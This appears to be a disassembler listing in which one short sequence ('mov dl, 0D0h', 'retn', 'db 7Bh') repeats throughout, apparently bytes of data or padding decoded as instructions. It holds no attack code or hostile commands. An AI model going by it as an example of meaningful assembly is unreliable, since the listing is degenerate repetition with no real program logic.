mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
